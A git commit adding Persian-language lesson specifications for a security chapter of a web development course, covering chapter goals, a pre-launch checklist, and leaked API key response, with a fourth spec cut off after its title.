feat: add chapter 11-security-and-best-practices specs
This commit is contained in:
@@ -0,0 +1,82 @@
|
||||
# مشخصات درس‌نامه: اهداف فصل یازدهم (Chapter Goals)
|
||||
- **شناسه در سیلابس:** `L11.1`
|
||||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۵ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L10.8` (تزریق مغز هوش مصنوعی به محصول)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** چرا امنیت یک «قابلیت افزوده در پایان کار» نیست، بلکه شالوده و مسئولیت اصلی هر سازنده نرم‌افزار است، به خصوص در دورانی که کدهای هوش مصنوعی می‌توانند باگ‌های امنیتی پنهان ایجاد کنند.
|
||||
- [ ] **درک کند (Understand):** نقشه راه ۹ درس‌نامه این فصل شامل: چک‌لیست پیش از انتشار، گاوصندوق Secretها و API Keyها، کنترل دسترسی و احراز هویت (Auth & Access)، اعتبارسنجی ورودی‌ها با Zod و مقابله با XSS، امنیت دیتابیس و آپلود فایل، مدیریت Dependencyها و زنجیره تأمین، محدودسازی نرخ درخواست (Rate Limiting) با Upstash Redis، و در نهایت هزینه، مالکیت فکری و اخلاق وایب کدینگ.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** خطرات امنیتی نرم‌افزارهای ساخته شده با هوش مصنوعی (نظیر توهم پکیج‌های مخرب و آسیب‌پذیری‌های تزریق کد) را در برابر اعتماد کورکورانه به خروجی ایجنت‌ها ارزیابی کند.
|
||||
- [ ] **به‌کار ببندد (Apply):** پروژه پورتفولیو را به سپرهای دفاعی لایه‌به‌لایه تجهیز کند تا هیچ کاربر نفوذگری نتواند داده‌ها را دستکاری کند یا هزینه‌های مالی سرسام‌آور تحمیل نماید.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **امنیت در عصر وایب کدینگ: هوش مصنوعی کد می‌نویسد، اما مسئولیت با شماست:**
|
||||
* ایجنت‌ها کد کارآمد تولید می‌کنند، اما اغلب تدابیر امنیتی، اعتبارسنجی لبه‌ها و محدودیت‌ها را از قلم می‌اندازند.
|
||||
2. **مرور سرفصل‌های تخصصی فصل ۱۱:**
|
||||
* درس ۱۱.۲: چک‌لیست پیش از انتشار (Pre-Launch Checklist)؛ ارزیابی همه‌جانبه سیستم قبل از نمایش به عموم.
|
||||
* درس ۱۱.۳: مدیریت و مهار Secretها و API Keyها؛ جلوگیری قطعی از نشت اطلاعات در مخازن و مرورگرها.
|
||||
* درس ۱۱.۴: احراز هویت و کنترل دسترسی پیشرفته (Auth & RBAC)؛ محافظت از روت‌های پنل ادمین و تفکیک دسترسی‌ها.
|
||||
* درس ۱۱.۵: اعتبارسنجی ورودی‌ها با Zod و ضدعفونی داده‌ها برای جلوگیری از حملات XSS و تزریق اسکریپت.
|
||||
* درس ۱۱.۶: امنیت دیتابیس و اعتبارسنجی فایل‌های آپلودی در باکت‌های Supabase Storage (بررسی MIME و سایز).
|
||||
* درس ۱۱.۷: مدیریت پکیج‌ها و امنیت زنجیره تأمین؛ رصد باگ‌ها با `npm audit` و پرهیز از پکیج‌های توهمی مخرب.
|
||||
* درس ۱۱.۸: جلوگیری از حملات منع سرویس با محدودسازی نرخ درخواست (Rate Limiting) با Upstash Redis.
|
||||
* درس ۱۱.۹: هزینه، مالکیت، کپی‌رایت کدهای AI و اخلاق حرفه‌ای مهندسی نرم‌افزار.
|
||||
3. **تمرکز بر پروژه پورتفولیو:**
|
||||
* تبدیل پورتفولیو از یک پروژه آسیب‌پذیر به یک قلعه امن دیجیتال و آماده عرضه جهانی.
|
||||
4. **کال‌اوت آرامش‌بخش Quera (`<details class="green">`):** تغییر دیدگاه؛ امنیت به معنای پارانویا نیست، بلکه به معنای آسودگی خاطر برای خواب راحت شبانه توسعه‌دهنده است.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- مباحث تخصصی رمزنگاری کوانتومی و تست نفوذ در لایه فیزیکی شبکه.
|
||||
- استقرار سرورهای ابری و ست کردن رکوردهای دامنه (در فصل ۱۲ بررسی می‌شود).
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| Defense in Depth | دفاع چندلایه | استراتژی امنیتی که در آن چندین لایه محافظتی متوالی برای حفاظت از دارایی‌ها قرار می‌گیرد |
|
||||
| Security by Design | امنیت در طراحی | رویکردی که در آن امنیت از نخستین خط کد و در تمام مراحل توسعه رعایت می‌شود |
|
||||
| Pre-Launch Checklist | چک‌لیست پیش از انتشار | فهرست استاندارد کنترل نهایی برای اطمینان از سلامت، امنیت و پایداری قبل از عرضه عمومی |
|
||||
| Responsible AI | هوش مصنوعی مسئولانه | پایبندی به اصول اخلاقی، قانونی، حفظ حریم خصوصی و امنیت در استفاده از فناوری‌های هوش مصنوعی |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** سپر دیجیتال نئونی درخشان با قفل طلایی که کدهای پروژه و سرورها را احاطه کرده است.
|
||||
2. **نقشه راه جامع فصل ۱۱:** `images/chapter-11-roadmap.png`
|
||||
* **موضوع:** اینفوگرافیک ۹ مرحله‌ای فصل ۱۱ با نمادهای چک‌لیست، کلید، قفل احراز هویت، Zod، باکت امن، پکیج سالم، Rate Limit و ترازوی اخلاق.
|
||||
3. **هرم دفاع چندلایه در وب مدرن:** `images/defense-in-depth-layers.png`
|
||||
* **موضوع:** دیاگرام هرمی لایه‌های محافظت: لایه ۱: اعتبارسنجی کلاینت $\rightarrow$ لایه ۲: ریت لیمیتینگ $\rightarrow$ لایه ۳: سرور اکشن و Zod $\rightarrow$ لایه ۴: RLS و دیتابیس.
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# اهداف فصل یازدهم: امنیت و استفاده مسئولانه؛ تبدیل نرم‌افزار به قلعه‌ای نفوذناپذیر`
|
||||
2. **مقدمه کوتاه:** چرا یک اشتباه کوچک امنیتی می‌تواند ثمره ماه‌ها تلاش شما را یک‌شبه بر باد دهد؟
|
||||
3. **جدول کاور درس**
|
||||
4. **سرفصل‌های طلایی فصل در یک نگاه:** مرور ۹ ایستگاه دفاعی فصل.
|
||||
5. **جدول نقشه راه یادگیری فصل**
|
||||
6. **مسئولیت در عصر وایب کدینگ:** چرا هوش مصنوعی نمی‌تواند در دادگاه یا نزد کارفرما پاسخگوی باگ‌های امنیتی باشد؟
|
||||
7. **پورتفولیوی شخصی در نقش نماد حرفه‌ای‌گری:** نشان دادن بلوغ مهندسی به کارفرمایان بزرگ با رعایت بالاترین استانداردهای امنیتی.
|
||||
8. **کال‌اوت روحیه‌بخش Quera (`<details class="green">`):** امنیت یک مهارت جذاب و آرامش‌بخش است؛ وقتی قفل‌ها درست بسته شوند، با خیال آسوده به استراحت می‌پردازید.
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] اهداف کلان فصل ۱۱ و اهمیت مسئولیت‌پذیری در وایب کدینگ به روشنی تبیین شود.
|
||||
- [ ] سرفصل‌های ۹ درس‌نامه بعدی با ذکر ابزارهای مصوب (Zod, Upstash, Supabase Storage) معرفی شوند.
|
||||
- [ ] استراتژی دفاع چندلایه (Defense in Depth) به صورت مفهومی تشریح گردد.
|
||||
@@ -0,0 +1,113 @@
|
||||
# مشخصات درس‌نامه: چک‌لیست پیش از انتشار (Pre-Launch Checklist) و تست دود نهایی
|
||||
- **شناسه در سیلابس:** `L11.2`
|
||||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۱۶ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L11.1` (اهداف فصل یازدهم)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** چرا هیجان ناشی از اشتراک‌گذاری سریع پروژه در شبکه‌های اجتماعی بدون بازرسی نهایی می‌تواند باعث آبروریزی فنی یا هک شدن پروژه شود.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** وضعیت آمادگی محصول را بر اساس ۵ ستون اصلی چک‌لیست انتشار (امنیت، کارایی، سئو و شبکه‌های اجتماعی، صفحات خطا، و داده‌های تمیز) ارزیابی کند.
|
||||
- [ ] **به‌کار ببندد (Apply):** آزمون دود (Smoke Test) را در یک پنجره کاملاً ناشناس (Incognito) مرورگر اجرا کرده و تمام مسیرهای حیاتی پورتفولیو را تست نماید.
|
||||
- [ ] **ایجاد کند (Create):** کارت پیش‌نمایش شبکه‌های اجتماعی (Open Graph Image) و صفحات خطای سفارشی شکیل (Custom 404 & 500) را با ابزارهای مدرن Next.js پیاده‌سازی کند.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **استعاره پرواز هواپیما و چک‌لیست خلبان:**
|
||||
* خلبان‌ها هزاران ساعت پرواز دارند، اما هرگز بدون بررسی فیزیکی بال‌ها و موتورها تیک‌آف نمی‌کنند.
|
||||
2. **کالبدشکافی ۵ ستون چک‌لیست طلایی پیش از انتشار:**
|
||||
* ستون ۱: امنیت پایه (نبود کلید در کدهای گیت، بسته بودن روت‌های `/admin` و فعال بودن RLS).
|
||||
* ستون ۲: سرعت و کارایی (امتیاز لایت‌هاوس بالای ۹۰، تبدیل فرمت عکس‌ها با `next/image` به WebP).
|
||||
* ستون ۳: سئو و کارت‌های شبکه‌های اجتماعی (تنظیم متا تگ‌ها، تگ‌های Open Graph و تصویر `og:image` برای لینک‌های تلگرام، توییتر و لینکدین).
|
||||
* ستون ۴: صفحات خطای اختصاصی و تجربه کاربری (صفحه ۴۰۴ با لینک بازگشت به خانه، دکمه تلاش مجدد در صفحه خطا).
|
||||
* ستون ۵: پاک‌سازی داده‌های ساختگی (حذف پروژه‌های تستی "Lorem Ipsum" و تست ادمین‌های با رمز 123456).
|
||||
3. **اجرای تست دود (Smoke Test) در مرورگر:**
|
||||
* سناریوی گام‌به‌گام: ورود کارفرما در حالت ناشناس $\rightarrow$ چت با دستیار هوش مصنوعی $\rightarrow$ ارسال پیامک تماس $\rightarrow$ تست درگاه پرداخت تستی $\rightarrow$ بازبینی واکنش‌گرایی در عرض ۳۶۰ پیکسل.
|
||||
4. **دستورات چندسکویی برای بیلد پروداکشن و بازرسی اندازه باندل:**
|
||||
* دستورات اجرای تست ساخت نهایی در ویندوز، مک و لینوکس:
|
||||
- `npm run build`
|
||||
5. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||||
* کال‌اوت بنفش (`<details class="violet">`): نحوه کار ربات‌های تلگرام و واتس‌اپ در خواندن تگ‌های Open Graph برای ساخت پیش‌نمایش‌های شیک لینک.
|
||||
* کال‌اوت سبز (`<details class="green">`): ابزارهای رایگان تولید فاوآیکون (Favicon) و متاتگ‌های مدرن.
|
||||
* کال‌اوت قرمز (`<details class="red">`): تله باقی ماندن دیتای ساختگی؛ حتماً دیتابیس را پیش از انتشار با پروژه‌ها و متن‌های واقعی خود پر کنید.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- جزییات فنی کدنویسی Rate Limiting یا Zod (در درس‌های بعدی فصل ۱۱ به تفکیک ارائه می‌شوند).
|
||||
- خرید دامنه و تنظیمات DNS ابری (فصل ۱۲).
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| Pre-Launch Checklist | چک‌لیست پیش از عرضه | جدول الزامات اساسی که قبل از در دسترس عموم قرار گرفتن سایت باید تیک بخورند |
|
||||
| Smoke Test | تست دود | آزمون سریع و کلی برای اطمینان از اینکه عملکردهای حیاتی سیستم بدون دود کردن و انفجار کار می‌کنند |
|
||||
| Open Graph (OG) | پروتکل گراف باز | استانداردی برای تعیین عنوان، توضیحات و تصویر پیش‌نمایش سایت در زمان اشتراک‌گذاری در شبکه‌های اجتماعی |
|
||||
| Custom 404 Page | صفحه خطای اختصاصی ۴۰۴ | صفحه‌ای زیبا و سازگار با تم سایت برای راهنمایی کاربرانی که به آدرس‌های اشتباه سر می‌زنند |
|
||||
| Bundle Analyzer | تحلیل‌گر اندازه باندل | ابزاری برای نمایش حجم فایل‌های جاوااسکریپت و کشف کتابخانه‌های سنگین و زاید |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** تابلوی پرتاب موشک با چک‌لیست دیجیتالی تیک‌خورده و شمارش معکوس پرتاب محصول روی نمایشگر ادیتور.
|
||||
2. **اینفوگرافیک ۵ ستون چک‌لیست پیش از انتشار:** `images/pre-launch-five-pillars.png`
|
||||
* **موضوع:** نمایش ستون‌های ۵ گانه: امنیت، کارایی، سئو/OG، صفحات خطا، و دیتای واقعی با آیکون‌های جذاب.
|
||||
3. **پیش‌نمایش کارت اشتراک‌گذاری در شبکه‌های اجتماعی:** `images/open-graph-social-card-preview.png`
|
||||
* **موضوع:** مقایسه یک لینک زشت بدون پیش‌نمایش در تلگرام با یک پیش‌نمایش لوکس شامل تصویر کاور پورتفولیو، نام سازنده و توضیحات کوتاه.
|
||||
4. **صفحه خطای ۴۰۴ سفارشی طراحی‌شده:** `images/custom-404-design-preview.png`
|
||||
* **موضوع:** صفحه ۴۰۴ مدرن با تم تاریک، گرافیک فضایی جذاب، و دکمه بازگشت به صفحه اصلی.
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# چک‌لیست پیش از انتشار (Pre-Launch Checklist) و تست دود نهایی`
|
||||
2. **مقدمه:** چرا یک انتشار شتاب‌زده می‌تواند آبروی مهندسی شما را زیر سوال ببرد و چطور با یک چک‌لیست ۱۵ دقیقه‌ای سربلند شویم؟
|
||||
3. **جدول کاور درس**
|
||||
4. **استعاره پرواز تجاری و مسئولیت خلبان:**
|
||||
* اهمیت چک‌لیست قبل از فشردن دکمه استارت.
|
||||
5. **ستون‌های ۵ گانه چک‌لیست پیش از انتشار (با جزئیات پروژه پورتفولیو):**
|
||||
* امنیت، پرفورمنس، سئو و شبکه‌های اجتماعی، هندل کردن ارورها و پاک‌سازی دیتای تست.
|
||||
6. **ساخت صفحات اختصاصی خطا (`not-found.tsx` و `error.tsx`) در Next.js:**
|
||||
* چرا نباید کاربر با صفحه پیش‌فرض زشت خاکستری مواجه شود؟
|
||||
7. **پیکربندی تگ‌های Open Graph و تصویر اشتراک‌گذاری اجتماعی:**
|
||||
* تعریف `metadata` در `app/layout.tsx` برای تولید کارت‌های شکیل در تلگرام و توییتر.
|
||||
8. **جعبه پرامپت طلایی: اجرای تست دود و ساخت صفحات خطا با ایجنت:**
|
||||
* پرامپت دقیق:
|
||||
> «من می‌خواهم پروژه را برای انتشار عمومی آماده کنم. لطفاً ۱) یک صفحه `not-found.tsx` فوق‌العاده مدرن با تم دارک و دکمه بازگشت به صفحه اصلی بساز، ۲) متاتگ‌های Open Graph شامل عنوان، توضیحات و تصویر `og-image.png` را به `layout.tsx` اضافه کن، و ۳) یک چک‌لیست سریع تست دود از تمام فیچرها بنویس تا در پنجره ناشناس تست کنم.»
|
||||
9. **دستورات چندسکویی برای بررسی بیلد نهایی:**
|
||||
* منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
|
||||
- Windows (PowerShell):
|
||||
```powershell
|
||||
npm run build
|
||||
```
|
||||
- macOS (Terminal):
|
||||
```bash
|
||||
npm run build
|
||||
```
|
||||
- Linux (Bash):
|
||||
```bash
|
||||
npm run build
|
||||
```
|
||||
10. **باکس نکته Quera (`<details class="violet">`):** استفاده از ابزارهای آنلاین رایگان مانند OpenGraph.xyz برای دیدن پیش‌نمایش لینک قبل از انتشار.
|
||||
11. **باکس هشدار Quera (`<details class="red">`):** حتماً پسوردهای ساده یا اکانت‌های ادمین تستی را پیش از انتشار حذف کنید.
|
||||
12. **باکس رضایت‌بخش Quera (`<details class="green">`):** ارسال لینک تستی به دوست یا همکار نزدیک و شنیدن اولین بازخورد مثبت.
|
||||
13. **جمع‌بندی درس‌نامه:** گذر از چک‌لیست مقدماتی؛ ورود به مبحث مرگبار نشت اطلاعات محرمانه و مدیریت کلیدها در درس بعدی.
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] ستون‌های پنج‌گانه چک‌لیست پیش از انتشار به صورت کامل و کاربردی ارائه گردند.
|
||||
- [ ] نحوه پیاده‌سازی صفحات خطای اختصاصی Next.js (not-found.tsx) آموزش داده شود.
|
||||
- [ ] تنظیم تگ‌های Open Graph برای پیش‌نمایش جذاب در شبکه‌های اجتماعی تشریح شود.
|
||||
- [ ] دستورات ترمینالی بیلد پروداکشن در تب‌های چندسکویی قرار گیرند.
|
||||
@@ -0,0 +1,117 @@
|
||||
# مشخصات درس‌نامه: مدیریت Secretها، کلیدهای API و واکنش اضطراری به نشت اطلاعات
|
||||
- **شناسه در سیلابس:** `L11.3`
|
||||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۱۸ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L11.2` (چک‌لیست پیش از انتشار)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** چرا نشت کلیدهای API در گیت‌هاب کابوس شماره یک توسعه‌دهندگان است و چرا ایجنت‌های هوش مصنوعی مستعد هاردکد کردن تصادفی توکن‌ها در کلاینت هستند.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** تفاوت پاک کردن یک فایل در کامیت جدید را با پاک کردن کامل آن از تاریخچه عمیق گیت (Git History) درک کرده و ضرورت باطل‌سازی فوری کلیدها را ارزیابی نماید.
|
||||
- [ ] **به‌کار ببندد (Apply):** پروتکل ۳ مرحله‌ای واکنش به حادثه امنیتی نشت کلید (Incident Response: باطل‌سازی در پنل $\rightarrow$ صدور کلید جدید $\rightarrow$ پاک‌سازی تاریخچه با ابزارهای خودکار) را اجرا کند.
|
||||
- [ ] **ایجاد کند (Create):** یک پرامپت بازرسی امنیتی برای اسکن تمام فایل‌های پروژه تنظیم کند تا ایجنت هرگونه کلید مشکوک، توکن هاردکد شده یا متغیر کلاینتی ناامن را کشف و ایزوله کند.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **کابوس نشت کلید: واقعیتی تلخ در دنیای وایب کدینگ:**
|
||||
* چرا هوش مصنوعی گاهی برای سریع‌تر کار کردن، مقادیر کلیدها را مستقیماً داخل کدهای React می‌گذارد؟
|
||||
* سرعت باورنکردنی ربات‌های اسکنر: رصد مداوم خروجی گیت‌هاب و خالی کردن شارژ در عرض چند ثانیه.
|
||||
2. **سپرهای پیشگیرانه پیش از ارسال کد به گیت‌هاب:**
|
||||
* فعال‌سازی قابلیت رایگان GitHub Push Protection (مسدودسازی خودکار پوش در صورت شناسایی کلید).
|
||||
* چک‌لیست بازرسی نهایی فایل `.gitignore` برای اطمینان از قرار گرفتن `.env*`.
|
||||
3. **پروتکل واکنش اضطراری به حادثه امنیتی (Emergency Protocol):**
|
||||
* سناریو: «همین الان ناخواسته فایل `.env.local` را روی گیت‌هاب پوش کردم! چه کنم؟»
|
||||
* گام اول (بسیار فوری): متوقف کردن وحشت و ورود به پنل ارائه‌دهنده (OpenRouter, Supabase, Kavenegar) و زدن دکمه Revoke / Delete Key (باطل کردن کلید در کمتر از ۱ دقیقه).
|
||||
* گام دوم: ساخت کلید جدید و جایگزینی آن در فایل محلی.
|
||||
* گام سوم: چرا کامیت کردن حذف فایل کافی نیست؟ آموزش پاک کردن تاریخچه با کامندهای استاندارد.
|
||||
4. **چرخش دوره‌ای کلیدها (Secret Rotation):**
|
||||
* استراتژی تعویض دوره‌ای کلیدهای حساس برای حفظ حداکثر امنیت در طول زمان.
|
||||
5. **دستورات چندسکویی برای بررسی سریع تاریخچه و فایل‌های پیگیری‌شده:**
|
||||
* دستورات گیت برای بررسی اینکه آیا فایلی از نوع `.env` ردیابی شده است یا خیر در سه سیستم‌عامل.
|
||||
6. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||||
* کال‌اوت بنفش (`<details class="violet">`): نحوه کار ربات‌های ماینر و اسکرپرهای اختصاصی که کلیدهای OpenAI و کلاد را هدف می‌گیرند.
|
||||
* کال‌اوت سبز (`<details class="green">`): فعال بودن پیش‌فرض GitHub Secret Scanning در مخازن عمومی.
|
||||
* کال‌اوت قرمز (`<details class="red">`): اشتباه مرگبار؛ زدن `git rm .env` و پوش کردن مجدد، کلید را از کامیت‌های قبلی پاک نمی‌کند! تاریخچه گیت ابدی است مگر اینکه بازنویسی شود.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- استفاده از سیستم‌های سازمانی گاوصندوق سخت‌افزاری مانند HashiCorp Vault یا AWS KMS.
|
||||
- مباحث کریپتوگرافی و الگوریتم‌های رمزنگاری متقارن/نامتقارن.
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| Secret Leak | نشت اطلاعات محرمانه | حادثه امنیتی فاش شدن کلیدهای دسترسی، رمزها یا توکن‌ها در مخزن کدهای عمومی |
|
||||
| Key Revocation | ابطال فوری کلید | غیرفعال‌سازی آنی کلید از پنل شرکت ارائه‌دهنده برای بی‌اثر کردن دسترسی نفوذگران |
|
||||
| Push Protection | محافظت در برابر پوش ناامن | قابلیتی در گیت‌هاب که با شناسایی توکن‌ها مانع از ارسال کامیت حاوی رمز می‌شود |
|
||||
| Secret Rotation | چرخش دوره‌ای کلیدها | رویه استاندارد تعویض و صدور مجدد کلیدهای دسترسی در بازه‌های زمانی مشخص |
|
||||
| Hardcoded Credentials | اطلاعات هویتی هاردکد شده | نوشتن مستقیم رمز یا توکن در میان خطوط کد به جای خواندن امن آن از متغیرهای محیطی |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** زنگ خطر قرمز امنیتی که کلید شکسته شده‌ای را هشدار می‌دهد و یک دست دیجیتال کلید را ابطال و کلید جدید جایگزین می‌کند.
|
||||
2. **سرعت ربات‌های شکارچی کلید در گیت‌هاب:** `images/github-bot-scraping-speed.png`
|
||||
* **موضوع:** اینفوگرافیک تایم‌لاین: ثانیه ۱: کامیت اشتباه $\rightarrow$ ثانیه ۳: اسکن توسط ربات نفوذگر $\rightarrow$ ثانیه ۱۰: مصرف اعتبار و ساخت ماشین مجازی غیرمجاز.
|
||||
3. **پروتکل ۳ مرحله‌ای نجات در زمان نشت اطلاعات:** `images/incident-response-flow.png`
|
||||
* **موضوع:** فلوچارت امداد فوری: ۱) باطل‌سازی آنی در پنل ارائه‌دهنده $\rightarrow$ ۲) صدور کلید جدید $\rightarrow$ ۳) بازنویسی تاریخچه گیت.
|
||||
4. **پیام هشدار GitHub Push Protection در ترمینال:** `images/github-push-protection-alert.png`
|
||||
* **موضوع:** اسکرین‌شات از مسدود شدن `git push` در ترمینال توسط گیت‌هاب به دلیل وجود کلید مشکوک.
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# مدیریت Secretها، کلیدهای API و واکنش اضطراری به نشت اطلاعات`
|
||||
2. **مقدمه:** فاجعه‌ای که در ۳ ثانیه رخ می‌دهد: داستان تلخ برنامه‌نویسانی که بخاطر یک پوش اشتباه، چند هزار دلار بدهی بالا آوردند!
|
||||
3. **جدول کاور درس**
|
||||
4. **چرا ایجنت‌های هوش مصنوعی مستعد لو دادن کلیدها هستند؟**
|
||||
* خطای شایع قرار دادن کلیدها داخل فایل‌های کامپوننت یا ساختن فایل‌های کانفیگ بدون `.gitignore`.
|
||||
5. **آزمایشگاه بازرسی پروژه پورتفولیو: شکار کلیدهای هاردکد شده:**
|
||||
* جستجوی عباراتی نظیر `sk-`, `eyJh`, `api_key` در سرتاسر کدهای پروژه.
|
||||
6. **سپر دفاعی اول: فعال‌سازی Push Protection در گیت‌هاب:**
|
||||
* تنظیمات رایگان مخزن در گیت‌هاب برای سد کردن راه پوش‌های خطرناک.
|
||||
7. **پروتکل اتاق فرمان در زمان بحران (کارهایی که در ۳ دقیقه اول باید انجام دهید):**
|
||||
* گام ۱: ابطال فوری در پنل سوپابیس، کاوه‌نگار یا OpenRouter.
|
||||
* گام ۲: تولید کلید جایگزین.
|
||||
* گام ۳: پاک کردن ردپای فایل از تاریخچه گیت با ابزار `git filter-repo`.
|
||||
8. **جعبه پرامپت طلایی: اسکن امنیتی کل کدهای پروژه با ایجنت:**
|
||||
* پرامپت دقیق:
|
||||
> «تمام فایل‌های پروژه من را اسکن کن. بررسی کن که آیا هیچ کلید API، رمز عبور یا توکن هاردکد شده‌ای داخل کدهای فرانت‌اند یا کامپوننت‌های کلاینت وجود دارد یا خیر. همچنین بررسی کن که متغیرهای حاوی اطلاعات محرمانه تصادفاً پیشوند `NEXT_PUBLIC_` نگرفته باشند و گزارش کاملی از موارد مشکوک به همراه راهکار اصلاح ارائه بده.»
|
||||
9. **دستورات چندسکویی بررسی وضعیت فایل‌های ردیابی‌شده در گیت:**
|
||||
* منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
|
||||
- Windows (PowerShell):
|
||||
```powershell
|
||||
git ls-files | Select-String "\.env"
|
||||
```
|
||||
- macOS (Terminal):
|
||||
```bash
|
||||
git ls-files | grep "\.env"
|
||||
```
|
||||
- Linux (Bash):
|
||||
```bash
|
||||
git ls-files | grep "\.env"
|
||||
```
|
||||
10. **باکس نکته Quera (`<details class="violet">`):** چرا سطل زباله گیت پاک نمی‌شود؟ مفهوم Commit Tree و دلایل باقی ماندن دیتا در تاریخچه حتی پس از حذف فایل.
|
||||
11. **باکس هشدار Quera (`<details class="red">`):** هرگز کلید سوپابیس `service_role` را در پروژه‌های فرانت‌اند استفاده نکنید؛ این کلید شاه‌کلید تمام دیتابیس است!
|
||||
12. **باکس رضایت‌بخش Quera (`<details class="green">`):** اجرای موفق اسکن امنیتی و اطمینان از اینکه هیچ کلیدی در کدهای گیت جا نمانده است.
|
||||
13. **جمع‌بندی درس‌نامه:** ایمن‌سازی کامل کلیدها؛ ورود به لایه بعدی دفاع: احراز هویت و کنترل دسترسی پیشرفته (Auth & RBAC) در درس بعدی.
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] خطرات نشت کلید و سرعت ربات‌های اسکنر به زبان شفاف بیان شود.
|
||||
- [ ] پروتکل گام‌به‌گام واکنش اضطراری به نشت کلید ارائه گردد.
|
||||
- [ ] روش‌های پیشگیری نظیر GitHub Push Protection و بررسی `.gitignore` تشریح شود.
|
||||
- [ ] پرامپت ممیزی امنیتی پروژه توسط ایجنت در متن گنجانده شود.
|
||||
@@ -0,0 +1,121 @@
|
||||
# مشخصات درس‌نامه: احراز هویت و کنترل دسترسی (Auth & Access)؛ تفکیک نقش‌ها و محافظت از روت‌ها
|
||||
- **شناسه در سیلابس:** `L11.4`
|
||||
